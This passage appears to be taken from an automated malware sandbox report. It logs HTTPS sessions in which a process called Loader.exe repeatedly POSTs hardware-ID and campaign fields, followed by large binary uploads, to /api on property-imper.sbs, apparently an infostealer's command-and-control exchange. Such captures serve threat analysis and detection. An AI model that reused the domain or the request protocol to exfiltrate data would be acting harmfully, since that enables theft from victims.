700FlnYQmOVXiDgelkMlYHj7VNvfv/hrumZTehHEfp99yFKSZFIYd0UY6AwFQiKz7SgbmJ2/P2t9NZXrlJZ8GO9cxhSikVk1QFu8n9dAJiP6utWa3z05an9l0XhShnyb/Q5VQDWBWjNRjigSVkEo4z6oEMmbLDsrLvOCOFZFP9r/SZeS5lEbNUGY+B7XgCUiOHqVWFn+O+y+5pMoAVZ8He9cxhwm05j1Qt1oGEbFtKI4KAEKH374KbwlUvuQBP4
2024-11-23 08:49:03 UTC	1369	IN	Data Raw: 68 4c 6a 6b 52 69 33 67 6f 69 34 58 4e 46 43 4e 4c 42 72 4f 59 63 4d 43 57 2b 71 36 54 71 31 68 43 77 47 55 4b 69 50 4b 70 37 43 6c 2f 57 58 43 2f 44 52 6a 69 79 4d 42 55 64 30 74 65 73 70 31 39 36 5a 2f 62 6f 74 76 6a 52 64 74 35 72 45 76 74 73 38 53 70 66 41 4e 59 46 59 4a 56 65 57 61 42 39 52 78 33 64 6e 76 72 74 54 47 38 35 2b 50 71 74 39 39 59 47 6f 41 63 64 2f 47 50 34 4c 45 67 50 69 6c 56 6b 32 52 41 73 35 47 77 56 51 64 4b 65 35 2b 39 4f 5a 6e 4b 2f 2b 72 62 32 68 6b 76 6c 54 46 58 2f 66 76 41 6e 47 41 37 59 55 47 54 5a 41 47 33 31 4d 55 51 5a 6b 5a 6e 72 72 46 52 35 65 50 79 72 6e 37 58 57 55 4b 41 54 57 63 4a 73 38 79 56 66 56 6f 6b 49 54 39 34 4b 59 2b 78 2f 55 6b 2f 63 7a 2b 71 67 42 44 73 37 73 4f 2b 78 75 38 34 59 73 68 42 4d 70 44 69 74 65 Data Ascii: hLjkRi3goi4XNFCNLBrOYcMCW+q6Tq1hCwGUKiPKp7Cl/WXC/DRjiyMBUd0tesp196Z/botvjRdt5rEvts8SpfANYFYJVeWaB9Rx3dnvrtTG85+Pqt99YGoAcd/GP4LEgPilVk2RAs5GwVQdKe5+9OZnK/+rb2hkvlTFX/fvAnGA7YUGTZAG31MUQZkZnrrFR5ePyrn7XWUKATWcJs8yVfVokIT94KY+x/Uk/cz+qgBDs7sO+xu84YshBMpDite
2024-11-23 08:49:03 UTC	1369	IN	Data Raw: 63 4c 38 4e 47 4f 4c 4d 77 46 52 33 53 31 36 79 6e 55 6d 56 30 38 2b 57 6a 36 59 52 4f 34 31 30 61 73 46 48 44 44 6c 56 4e 6e 55 74 6f 36 7a 68 42 36 6d 35 59 41 4a 57 78 30 74 64 4e 62 32 57 79 7a 61 50 74 6c 51 69 75 43 77 47 33 4e 37 30 4b 55 6c 43 56 53 6d 69 56 53 43 44 6b 50 67 31 50 74 34 4c 68 35 56 4a 76 4e 39 48 68 73 50 61 5a 54 36 41 46 57 66 73 76 70 57 74 5a 53 6f 68 49 59 4e 4a 4b 5a 2f 70 35 46 55 48 53 67 61 79 34 48 47 6c 2f 34 4f 61 76 2f 4e 70 4f 37 6b 56 5a 36 43 48 6b 61 30 34 41 77 42 59 68 6c 52 51 67 75 44 34 53 41 5a 2b 4f 37 2b 35 66 65 6d 66 32 36 4c 62 34 30 58 62 65 62 68 54 36 61 76 4d 73 5a 6e 36 35 54 33 2f 59 43 57 65 69 58 6c 49 5a 6b 62 48 53 31 30 31 76 5a 62 4c 4e 6f 2b 32 56 43 4b 34 4c 41 62 63 33 76 51 70 53 55 4a Data Ascii: cL8NGOLMwFR3S16ynUmV08+Wj6YRO410asFHDDlVNnUto6zhB6m5YAJWx0tdNb2WyzaPtlQiuCwG3N70KUlCVSmiVSCDkPg1Pt4Lh5VJvN9HhsPaZT6AFWfsvpWtZSohIYNJKZ/p5FUHSgay4HGl/4Oav/NpO7kVZ6CHka04AwBYhlRQguD4SAZ+O7+5femf26Lb40XbebhT6avMsZn65T3/YCWeiXlIZkbHS101vZbLNo+2VCK4LAbc3vQpSUJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.162.84	443	3864	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:49:04 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2OBWBKXCW3B465XR0YT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18174 Host: property-imper.sbs
2024-11-23 08:49:04 UTC	15331	OUT	Data Raw: 2d 2d 32 4f 42 57 42 4b 58 43 57 33 42 34 36 35 58 52 30 59 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 42 45 31 45 32 36 31 35 41 44 41 32 31 30 45 39 44 38 32 44 45 38 43 35 38 30 36 32 43 32 0d 0a 2d 2d 32 4f 42 57 42 4b 58 43 57 33 42 34 36 35 58 52 30 59 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 4f 42 57 42 4b 58 43 57 33 42 34 36 35 58 52 30 59 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 35 Data Ascii: --2OBWBKXCW3B465XR0YTContent-Disposition: form-data; name="hwid"3FBE1E2615ADA210E9D82DE8C58062C2--2OBWBKXCW3B465XR0YTContent-Disposition: form-data; name="pid"2--2OBWBKXCW3B465XR0YTContent-Disposition: form-data; name="lid"yau6Na--65
2024-11-23 08:49:04 UTC	2843	OUT	Data Raw: 6d b6 ae 65 d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e Data Ascii: me,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)
2024-11-23 08:49:06 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:49:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sujahet1pid0or8ssltln0u38n; expires=Wed, 19-Mar-2025 02:35:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zCf0F7xuTMXfCHsK4DzAOZ2yuoynL27tULGfqjWaM%2BmC%2FFt0nPr9oJiHZjQc1mN804UaqKl6KCMbYOl82NmYmQg%2FBHqfdz1bfYINu6Gx%2FewK3ZEno4rUksFLdnqkEnryK0BQ9Y4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6fe765abda7292-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1805&sent=13&recv=22&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19139&delivery_rate=1579232&cwnd=252&unsent_bytes=0&cid=e9aa61085528b270&ts=2032&x=0"
2024-11-23 08:49:06 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 08:49:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.162.84	443	3864	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:49:08 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WM9XPGEXDDB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8747 Host: property-imper.sbs
2024-11-23 08:49:08 UTC	8747	OUT	Data Raw: 2d 2d 57 4d 39 58 50 47 45 58 44 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 42 45 31 45 32 36 31 35 41 44 41 32 31 30 45 39 44 38 32 44 45 38 43 35 38 30 36 32 43 32 0d 0a 2d 2d 57 4d 39 58 50 47 45 58 44 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 4d 39 58 50 47 45 58 44 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 35 32 34 37 39 35 30 39 34 0d 0a 2d 2d 57 4d 39 58 50 47 45 58 44 44 42 0d Data Ascii: --WM9XPGEXDDBContent-Disposition: form-data; name="hwid"3FBE1E2615ADA210E9D82DE8C58062C2--WM9XPGEXDDBContent-Disposition: form-data; name="pid"2--WM9XPGEXDDBContent-Disposition: form-data; name="lid"yau6Na--6524795094--WM9XPGEXDDB
2024-11-23 08:49:08 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:49:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l5n9q9c6pthovm8ahmkjds5s5o; expires=Wed, 19-Mar-2025 02:35:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hJp%2BAvZXP64nqekw6AN%2FySKLc7qetJlB%2FT5oPkJU%2FPUD8CKtGJGDhufpkP9GN8dpVKSjXwg3fH8RX6nAKnrUBLtHzkXvgyw%2F04lYnYRFCFsV0vFaZJ2CkFT3tzxcYRAwFXFFzI0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6fe77a9dd18c35-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1802&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9681&delivery_rate=1577525&cwnd=242&unsent_bytes=0&cid=4bfcac82e54a764f&ts=733&x=0"
2024-11-23 08:49:08 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 08:49:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.162.84	443	3864	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:49:10 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GDDRZO2CHAFMICFB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20430 Host: property-imper.sbs
2024-11-23 08:49:10 UTC	15331	OUT	Data Raw: 2d 2d 47 44 44 52 5a 4f 32 43 48 41 46 4d 49 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 42 45 31 45 32 36 31 35 41 44 41 32 31 30 45 39 44 38 32 44 45 38 43 35 38 30 36 32 43 32 0d 0a 2d 2d 47 44 44 52 5a 4f 32 43 48 41 46 4d 49 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 47 44 44 52 5a 4f 32 43 48 41 46 4d 49 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 35 32 34 37 39 35 30 39 34 0d Data Ascii: --GDDRZO2CHAFMICFBContent-Disposition: form-data; name="hwid"3FBE1E2615ADA210E9D82DE8C58062C2--GDDRZO2CHAFMICFBContent-Disposition: form-data; name="pid"3--GDDRZO2CHAFMICFBContent-Disposition: form-data; name="lid"yau6Na--6524795094
2024-11-23 08:49:10 UTC	5099	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-11-23 08:49:11 UTC	1025	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:49:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ujgupt208mai8fmkq4abp4d4id; expires=Wed, 19-Mar-2025 02:35:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RdbSOx2s0y5azaYmNhpF5Y%2FZMTV3Ijvh5SoYzJralXZOmXy1AQY4KKdBSb4i%2BJW4msKDzIfEOl9qDUVrp%2BiDxRMEQ5GxOh56qmN1%2Fm9POzhKYf8U%2ByLJESn3%2B8C15H2w%2FT7DTf8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6fe788690d433a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&sent=17&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21392&delivery_rate=1696687&cwnd=241&unsent_bytes=0&cid=173ec710453e3b87&ts=899&x=0"
2024-11-23 08:49:11 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 08:49:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.162.84	443	3864	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:49:13 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M1ZIO7H9M3T3NTS1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1236 Host: property-imper.sbs
2024-11-23 08:49:13 UTC	1236	OUT	Data Raw: 2d 2d 4d 31 5a 49 4f 37 48 39 4d 33 54 33 4e 54 53 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 42 45 31 45 32 36 31 35 41 44 41 32 31 30 45 39 44 38 32 44 45 38 43 35 38 30 36 32 43 32 0d 0a 2d 2d 4d 31 5a 49 4f 37 48 39 4d 33 54 33 4e 54 53 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 31 5a 49 4f 37 48 39 4d 33 54 33 4e 54 53 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 35 32 34 37 39 35 30 39 34 0d Data Ascii: --M1ZIO7H9M3T3NTS1Content-Disposition: form-data; name="hwid"3FBE1E2615ADA210E9D82DE8C58062C2--M1ZIO7H9M3T3NTS1Content-Disposition: form-data; name="pid"1--M1ZIO7H9M3T3NTS1Content-Disposition: form-data; name="lid"yau6Na--6524795094
2024-11-23 08:49:13 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:49:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mqbdv069jmmq50gnv290mfkbaf; expires=Wed, 19-Mar-2025 02:35:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=81ENG57a9pgxpL5p1oF2qHx%2FO7wxJ6%2BIG3kthJ8f9MTEfrs6RE0dmmbJyX0xeGkXgWlvkQoKBOaEOHef3SLZ6T%2FEV%2B9cY7TuaD55F0sFgXbik%2F3p8%2FZaiYATC1jtiGpurncKXsA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6fe79989614308-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1667&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2153&delivery_rate=1669525&cwnd=225&unsent_bytes=0&cid=7fb4237aa9e2bce6&ts=715&x=0"
2024-11-23 08:49:13 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 08:49:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	172.67.162.84	443	3864	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:49:15 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UWB4V41J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549687 Host: property-imper.sbs
2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: 2d 2d 55 57 42 34 56 34 31 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 42 45 31 45 32 36 31 35 41 44 41 32 31 30 45 39 44 38 32 44 45 38 43 35 38 30 36 32 43 32 0d 0a 2d 2d 55 57 42 34 56 34 31 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 57 42 34 56 34 31 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 35 32 34 37 39 35 30 39 34 0d 0a 2d 2d 55 57 42 34 56 34 31 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --UWB4V41JContent-Disposition: form-data; name="hwid"3FBE1E2615ADA210E9D82DE8C58062C2--UWB4V41JContent-Disposition: form-data; name="pid"1--UWB4V41JContent-Disposition: form-data; name="lid"yau6Na--6524795094--UWB4V41JContent-Dis
2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: 28 0d 85 ef c6 0d 03 9e e4 98 58 ff 9f cb 08 fb 2a 80 26 2e e7 66 5b fc 65 c0 f6 49 3e 3a 8d ad 20 66 ba 40 f7 34 16 88 5d 51 87 95 f2 09 c9 21 be 05 67 9d 05 05 02 a4 89 eb 37 c6 4f c4 09 d0 e6 8b d5 a7 e2 ef 84 db 6d 44 04 1c 0b db cb 30 fa 43 c8 d6 d9 f9 20 ca 38 08 af 0f 4a 3a 82 fc 27 f3 20 38 1b aa 94 c2 1f 69 86 0b f7 03 07 ad 4e 40 ae e6 79 0b 22 d5 37 2e 2d 0a dc f8 b7 e5 e3 80 4b df 58 df bb b4 11 fb 21 a7 77 e8 50 cd fa 8d ab 54 a8 c0 be a2 c3 a4 e4 6a 62 88 eb 64 5a 14 0a ee dd ef 23 62 84 09 45 a6 9d 18 9a 96 83 01 49 fe f1 d4 5c 50 1c ec e8 b2 e6 d0 a0 81 9f 0e 58 3a f8 be 4f 0f 6c 37 96 df 7d 73 6a 74 f0 e2 ee 7e ef 1b 27 7b a5 7b 27 c7 14 ed df 3a 94 54 65 bf b1 a9 28 f8 ef 62 da ec e1 7f 80 56 55 e8 07 6f 41 60 a4 21 3a be 4d 1f bf 05 a4 Data Ascii: (X*&.f[eI>: f@4]Q!g7OmD0C 8J:' 8iN@y"7.-KX!wPTjbdZ#bEI\PX:Ol7}sjt~'{{':Te(bVUoA`!:M
2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: 01 c3 b5 54 13 ee f7 8f e3 71 65 a3 93 d3 d3 d1 75 fa 13 4a ce 2a 60 a7 63 04 44 90 db 87 a7 5a 06 12 55 94 14 23 e2 7e bd 3f 71 4c 3e d2 c0 a9 cb 10 e7 77 5c 85 cf 8f 97 af d6 d5 c1 3d 6a 2c fb f5 2e 83 c0 7f 57 cd 7a 5a e0 55 09 0f 8f e6 e7 11 8f 45 f3 0b ad 29 f5 2d 09 ed 6c 92 d3 7e b5 51 fb 28 8e 20 87 12 da 83 33 79 a8 bb 24 5e a9 f2 4a 30 b5 e5 4e 68 ed 9e fc 49 b9 7e fe ef ea 59 93 57 46 7f 9f 8d be 9a 1e b2 8f ef 6e 90 68 1f b5 d9 f0 79 63 34 ec 2f fe 4b b1 76 2a 84 1f fd 93 d9 bd ee 74 c5 ef 51 a6 21 a2 33 4b 34 2b b7 45 56 68 7d 38 f6 d8 10 d4 1d b5 25 f2 74 47 81 4a 3a 4b 79 82 97 2e 92 21 f1 82 1d 2c 9a 2e c6 1c df 9c e5 76 bf e7 e8 b7 9a e0 3d f4 7f ed 30 6d ed a4 3f 28 81 f8 17 65 17 af cf db 8c 44 0a 10 8e 86 da 50 ae e4 6b 0c e8 f1 fb 49 Data Ascii: TqeuJ`cDZU#~?qL>w\=j,.WzZUE)-l~Q( 3y$^J0NhI~YWFnhyc4/KvtQ!3K4+EVh}8%tGJ:Ky.!,.v=0m?(eDPkI
2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: 72 60 e3 45 bf 40 4f 66 c5 e7 91 9a 8a 97 ff b0 98 dc fc d8 d3 d5 53 2b 7f 9c 98 d4 e6 73 42 5d 63 3f b7 7e 53 7d 8d dd 6d 5e 71 ae 7d da 9f 49 cd db 0b 1c 85 8b 00 e6 d6 69 e0 78 61 07 cf 4e 9d 5e d9 42 61 96 db b0 04 ab f4 40 1b 87 a3 8e 0f b7 f9 ba fe e8 5e 84 d5 84 dc 64 81 34 90 8d 09 b9 e5 35 0f d1 ed 42 ed 0d 3e a8 e3 67 7a df 90 db 4c 9e 86 5b 68 01 87 8f bf 36 10 1f 61 0a 3c e4 ff bf 23 d0 91 cc 51 08 94 a1 a1 26 03 70 ad 2c 17 11 59 12 91 9a a5 28 70 21 e4 a9 36 df 1a 5d 5c 15 fb ea 95 e2 90 d6 0f 40 d8 43 74 c4 3c c3 12 bf 4c ba 7a 70 03 8b 9f 18 46 a9 a0 40 e2 47 4e 88 4d 84 4d 62 a8 61 93 55 69 10 6d 7c b6 71 c1 d5 80 75 97 ee 7a e3 a6 71 ef 8c e1 5a 1f 31 26 72 30 47 80 7e 46 06 46 13 7c ce ba 70 6b 14 a8 ce e6 0c 24 15 d0 2a ba 5d b5 d0 45 Data Ascii: r`E@OfS+sB]c?~S}m^q}IixaN^Ba@^d45B>gzL[h6a<#Q&p,Y(p!6]\@Ct<LzpF@GNMMbaUim\|quzqZ1&r0G~FF\|pk$*]E
2024-11-23 08:49:15 UTC	15331	OUT	Data Raw: 4c 25 cc 09 79 35 bf c7 8c 65 24 9a da 13 ff 8d 44 a0 a9 a1 62 7b a4 b1 f3 28 4f b4 79 3b ca dc 49 e3 d7 65 fc 4b bf ad f7 20 ba e3 5c 00 ab 0f 41 62 19 01 4c df 74 ba cd 9a 99 dd 79 72 f5 04 e7 9a 01 1e 3f a5 1b fc 55 32 10 cb 83 11 c6 f4 2a 8c a3 19 51 45 dd 46 73 b2 1f ac 19 4d c6 d8 70 a1 46 79 2b f7 4c a7 a4 d1 91 f1 3b 33 43 15 f1 9b 2f 05 28 fc 9c 3b a3 c1 d8 7a 52 ed 75 26 33 e2 ef 41 72 9d 44 a4 71 1d 82 1d 08 93 28 47 5d 22 d2 fa d0 8c b8 72 f5 74 f8 1e df d2 53 3e 15 c9 64 4b fb 8c 04 9c 90 e0 7e 46 c9 9e 5d 3a 5c d2 77 59 d3 1b cf 24 22 0f f3 99 54 fd 58 69 d2 ba b9 9a d9 ba c5 1d d6 a4 83 11 02 af 07 d4 c6 b3 de 70 81 3f 5f c7 9e 44 d6 18 e9 66 25 f0 0a 81 db 13 d0 e2 39 d3 cc 04 d1 d8 e7 0b e7 12 d8 3f be af e1 9a f2 57 d5 c8 62 7f 8e 73 9b Data Ascii: L%y5e$Db{(Oy;IeK \AbLtyr?U2*QEFsMpFy+L;3C/(;zRu&3ArDq(G]"rtS>dK~F]:\wY$"TXip?_Df%9?Wbs
